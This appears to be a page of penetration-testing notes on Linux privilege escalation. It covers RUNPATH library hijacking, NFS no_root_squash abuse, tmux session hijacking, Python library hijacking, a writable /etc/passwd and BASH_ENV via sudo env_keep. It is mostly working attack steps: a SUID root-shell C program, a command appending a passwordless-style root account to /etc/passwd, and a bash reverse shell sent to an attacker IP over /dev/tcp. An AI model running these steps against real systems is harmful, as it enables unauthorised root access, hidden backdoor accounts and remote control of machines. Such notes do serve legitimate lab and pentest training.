View on GitHub
Edit

Miscellaneous Techniques

Shared Object Hijacking - Binary RUNPATH variable

A binary or program may use a custom library that can be enumerated by using one of the following commands:

  • ldd /path/to/program-name

  • readelf -d /path/to/program-name | grep PATH

By checking the RUNPATH content, we can verify if a custom directory is being used. Custom libraries specified by the RUNPATH have higher priority compared to the other libraries, similarly. to LD_PRELOAD In other terms, if the RUNPATH contains /directoryname/customlibrary.so we can hijack the shared library to elevate privileges

To abuse the RUNPATH, the procedure is the same as the LD_PRELOAD abuse:

  • identify a function used by binary/program

  • write a malicious shared library containing a reverse shell payload inside a function with the same signature as the original one

  • substitute the original custom library file with the malicious one

Weak NFS Privileges to Privesc

  • Any accessible mounts can be listed remotely by issuing the command showmount -e target-ip

  • When an NFS volume is created, various options can be set

  • To escalate privileges, we need to have the no_root_squash option

  • This option allows remote users connecting to the share as the local root user to create files on the NFS server as the root user.\This would allow for the creation of malicious scripts/programs with the SUID bit set.

  • Basically, you can use the attacker's machine root user to create files on the NFS server as the root user

  • To enumerate the exports on the machine hosting an NFS Share: cat /etc/exports

  • If no_root_squash is set we can create a SETUID binary that executes /bin/sh using our local root user. \ We can then mount the /tmp directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit.

Exploitation steps:

  1. Suppose a target machine hosts a NFS Share. We can enumerate that by using showmount -e target-ip

  2. Suppose we have local access to the target machine. We can check if the no_root_squash options is set for the previous share by using cat /etc/exports

  3. Write the PoC script:

    #include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

  4. Compile the script: gcc shell.c -o shell

  5. Use the local root user to copy the file on the NFS share as root:

    • sudo mount -t nfs 10.129.2.12:/tmp /mnt

    • cp shell /mnt

    • chmod u+s /mnt/shell

  6. Switching back to the target host's session, we can escalate privileges to root by executing the binary: cd /tmp; ./shell

TMUX Terminal Session Hijacking (Requires DEV group)

  • Terminal multiplexers such as tmux can be used to allow multiple terminal sessions to be accessed within a single console session

  • When not working in a tmux window, we can detach from the session, still leaving it active

  • We can gain a root terminal session if a user left a tmux process running as a privileged user

  • To do that, we need to have access to a user in the dev group to create a new shared tmux session and modify its ownership

Exploitation steps:

  1. Create new shared sessions: tmux -S /shareds new -s debugsess

  2. Change session owner: chown root:devs /shareds

  3. Check for any ruynning tmux processes: ps aux | grep tmux

  4. Attach the tmux session and get root privileges: tmux -S /shareds

Python Library Hijacking

  • There are many ways in which we can hijack a Python library.

  • Much depends on the script and its contents itself.

  • However, there are three basic vulnerabilities where hijacking can be used

  1. Wrong write permissions:

    • Requirements: A python script with SUID privileges that makes use of any library (import libraryname)

    • The library file will be located at /usr/local/lib/python3.8/dist-packages/libraryname

    • After checking which library function is called inside the python code, we can edit the library file by injecting a payload such as import os os.system('id')

    • Executing the python script again will show the results of the id command, confirming root privileges

  2. Library Path:

    • Requirements: write permissions in one of the folders shown by the PYTHONPATH variable (preferrably one of the folders first folders)

    • To enumerate the PYTHONPATH variable contents: python3 -c 'import sys; print("\n".join(sys.path))'

    • PoC: if we have write permissions inside one of the folders specified by the PYTHONPATH variable we can proceed in a similar manner as with the standard PATH environment variable abuse.

    • The basic idea is to write a file with the same name and signature as an imported library and inject a payload to run a shell

  3. PYTHONPATH environment variable:

    • Requirements: permissions to edit the PYTHONPATH variable

    • To check that permission: sudo -l → Output: SETENV: /usr/bin/python3

    • PoC: edit the PYTHONPATH variable in the same way as a standard PATH environment variable privilege escalation

Writeable passwd file

Always check whether you have write permissions into the /etc/passwd file. If that's the case, you can effectively set an arbitrary password for any account.

To check, use ls -la /etc/passwd

Supposing you have write permissions, you can generate a password hash and use it to log as root as follows:

  1. Generate the password hash: openssl passwd w00t output: Fdzt.eqJQ4s0g

  2. Append the password hash inside the passwd file: echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

  3. Now you can login as root using su root2 and inserting w00t as the user's password

Preserved Environment Variables via sudo -l (env_keep)

Some sudo configurations allow preserving sensitive environment variables such as BASH_ENV through the env_keep directive. This works even if the sudo command is limited, because the altered environment affects how the command runs.

The BASH_ENV variable instructs bash to source a custom configuration file on every non-interactive shell startup. If sudo preserves this variable, it is possible to escalate privileges using the binary specified by sudo -l

As an example, suppose you use sudo -l and notice the following:

You can leverage the BASH_ENV environment variable to escalate privileges, as it will be kept in the sudo user's shell environment due to the env_keep directive. To do that, run a netcat listener on your attacker machine and then, on the victim machine:

example@hostname:~$ echo 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' > /tmp/exploit
example@hostname:~$ chmod +x /tmp/exploit
example@hostname:~$ export BASH_ENV=/tmp/exploit
example@hostname:~$ sudo /path/to/binary